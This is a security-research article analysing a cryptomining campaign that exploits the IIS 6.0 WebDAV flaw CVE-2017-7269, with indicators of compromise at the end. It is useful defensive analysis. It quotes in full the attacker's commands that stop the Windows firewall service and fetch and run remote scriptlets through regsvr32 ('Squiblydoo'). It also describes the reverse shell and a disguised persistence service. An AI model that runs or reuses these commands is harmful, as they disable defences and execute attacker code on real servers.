Article / Apr 12, 2018

Windows IIS 6.0 CVE-2017-7269 Is Targeted Again to Mine Electroneum

by andrey shalnev

F5 researchers recently noticed a new campaign exploiting a vulnerability in Microsoft Internet Information Services (IIS) 6.0 servers (CVE–2017–7269) in order to mine Electroneum crypto-currency. Last year, ESET security researchers reported that the same IIS vulnerability was abused by the notorious “Lazarus” group to mine Monero1 and install malware to launch targeted attacks2 against organizations. Lazarus is widely believed to be North Korean government hackers.3 This new campaign shows that there are still systems vulnerable to this year-old vulnerability on an operating system that was declared End-of-Life (EOL) three years ago.

  • The campaign targets Windows IIS 6.0 servers through a vulnerability (CVE-2017-7269) released over a year ago.
  • The "Squiblydoo" technique is used to download and execute the malware.
  • The author named the malware file "Isass.eXe", likely to camouflage it as the legitimate Isass.exe process.
  • The malware hosting server resides in Beijing, China, inside China Unicom’s network.

Attackers Target Year-Old Vulnerability (CVE–2017–7269) Against EOL IIS 6.0

In March 2017, it was publicly disclosed that Microsoft Internet Information Services (IIS) 6.0 is vulnerable to a new buffer overflow vulnerability in its WebDAV functionality. On successful exploitation, it is possible to remotely execute code. Upon release, it was reported that the vulnerability was already being exploited in the wild. Within two days, a Proof-of-Concept (POC) exploit was published.4

IIS 6.0 is mainly, but not exclusively, part of Microsoft Windows Server 2003 Operating System (OS), which was placed into an “end of support” status by Microsoft two years prior to the vulnerability being released. At the time the vulnerability was released, Microsoft announced that the bug wouldn’t be fixed since the OS was EOL. Soon after, Microsoft published a patch5 addressing the issue as there were still many servers running that OS, and exploit campaigns were active.

Shellcode Analysis

The exploit in this campaign is identical to the original POC6 but embeds a different shellcode to execute attackers’ commands.

Figure 1: Original malicious HTTP request

The shellcode itself is an ASCII shellcode that contains a Return-Oriented Programming (ROP)7 chain. ASCII shellcode is machine code that consists entirely of alphanumeric ASCII or Unicode characters, which allows an attacker to bypass input restrictions. The ROP exploitation technique composes shellcode from instructions already loaded into memory, called “gadgets,” instead of writing and executing additional external code into memory. This allows attackers to bypass security mechanisms such as executable space protection8 and code signing.9

Figure 2: Showing the HEX values of the shellcode in the HTTP request

The execution of this shellcode results in opening a reverse shell to a malicious remote server. A reverse shell is a type of shell in which the target machine communicates back to the attacker’s remote machine and waits for the attacker to send shell commands.

Reverse Shell

Once the compromised server is connected to the attacker’s remote machine, it will automatically receive and execute two commands, as shown in Figure 3.

Figure 3: Commands issued by attacker's remote server

First Command

CD /d %WinDir%\Temp\ & Net Stop SharedAccess /Y

This command stops the “Internet Connection Firewall (ICF)” service, which if present, may block outgoing communication from the compromised machine.

Second Command

TaskKill /IM RegSvr32.exe /f & Start RegSvr32.exe /s /n /u /i: scrobj.dll

Here, the attacker is using a technique named “Squiblydoo”10 to bypass software whitelisting protection by executing attacker commands with a legitimate Microsoft binary. It allows the attacker to fetch and execute a remote Extensible Markup Language (XML) file that contains “scriptlets” with the attacker’s code of choice, using a legitimate and signed “regsvr32” Windows binary. This binary is proxy-aware, uses Transport Layer Security (TLS) encryption, and follows redirects.

Malware Hosting Server

The remote server hosting the malware loaded by the second command is located in Beijing, China within China Unicom’s network, as shown in Figure 4.

Figure 4: Malware server

Executing the Scriptlets

The downloaded XML file named “test.sct” contains scriptlets (which are VBScript), that hold attackers’ commands as well as Base64 binary-to-text encoded data.

Figure 5: The remote scriptlets file

The Microsoft Visual Basic Scripting (VBScript) shown in Figure 6 is interesting as the attacker didn’t take the time to remove his comments.

Figure 6: Binary data encoded with base64 in the scriptlets file

Updating the Malware

If the attacker compromised the server previously, the script will stop and replace the old binary file with a new one before execution.

In the script shown in Figure 7 under the “for Update” comment, the attacker tries to terminate the process of a specific file named “lsass.eXe” that is located in the Windows OS folder under the path of “/System32/Temp”.

Figure 7: The responsible code (redacted for simplicity)

The name “lsass.eXe” was chosen to mask the malicious file as a legitimate “lsass” process, a critical part of Windows.

To make sure that the process terminates before the script tries to delete the file, the attacker uses the “ping” command to delay script execution, as shown in Figure 8. Our assumption is that the attacker chose the “ping” command over the “sleep” command because it is less suspicious. The “sleep” command appears to be commented out.

Figure 8: Ping command

After performing these commands, the script creates a new file in the same location with the same name using the binary data from the Base64 string (variable “Bytes”) and executes it.

Figure 9: Bytes variable

Establishing Persistence as an RPC Service

To maintain persistence on the captured server, the script tries to register the execution command as an “RpcRemote” service.

The service is configured to launch itself upon every system startup, which will grant persistence on the target as shown in Figure 10. The name “RpcRemote” was chosen to make it look like a legitimate component of the operating system.

Figure 10: RpcRemote service gaining persistency for crypto-mining

Mining Electroneum

Looking at the command line executed by the script, we assume that the executable file is a crypto-currency miner. The clues are to be found in the “-p” and ”-u” arguments, “stratum+tcp://” address, as well as the long wallet address starting with the “etn” letters, implying the Electroneum (ETN) crypto-coin.

The file itself is a 32bit version of a crypto-currency miner called XMRig (2.5.2) that was packed using the “Ultimate Packer for Executables” (UPX) packer, as shown in Figure 11.

Figure 11: XMRig packed with UPX packer

Figure 12 shows that the miner was compiled on March 26, 2018.

Figure 12: XMRig version and compilation date

Electroneum Wallet Address

The execution command instructs the miner to mine the Electroneum crypto-currency using several pools simultaneously to this wallet:


At the time of writing, the attacker has earned roughly $99 USD from the campaign across both pools. This is a very small amount of money earned, given how lucrative most other crypto-mining campaigns are currently, making this campaign appear unsuccessful. One theory is that the attacker will change the wallet address from time to time. Another theory is that there aren’t many IIS 6.0 servers left to exploit.

Figure 13: Wallet statistics on
Figure 14: Wallet statistics on


We will continue to see new crypto-mining campaigns through the foreseeable future as it is quickly becoming a more profitable attack than the data theft and black market resale schemes of the past. Although these attackers haven’t made much money on this campaign yet, it still points a glaring spotlight on the fact that there are enough end-of-life systems around to make it worth the attackers while to create new exploit campaigns.

We encourage all businesses to abandon the use of EOL software in every instance possible. Recognizing that this is not always feasible, we recommend patching any critical vulnerabilities immediately upon release of the patch. If patching is not possible, there are many compensating controls that can be implemented depending on your security control framework such as blocking attacks with a Web Application Firewall (WAF), or not allowing vulnerable legacy systems to touch the Internet.

Indicators of Compromise

Malware Hosting Server:

  • 117[.]79[.]132[.]174

Mining pool addresses:



test.sct: c7b01b6a732b06174a1d36da46463e22

lsass.eXe: 2f3ec555526902d25454d6bfc4495da7

Follow us on social media.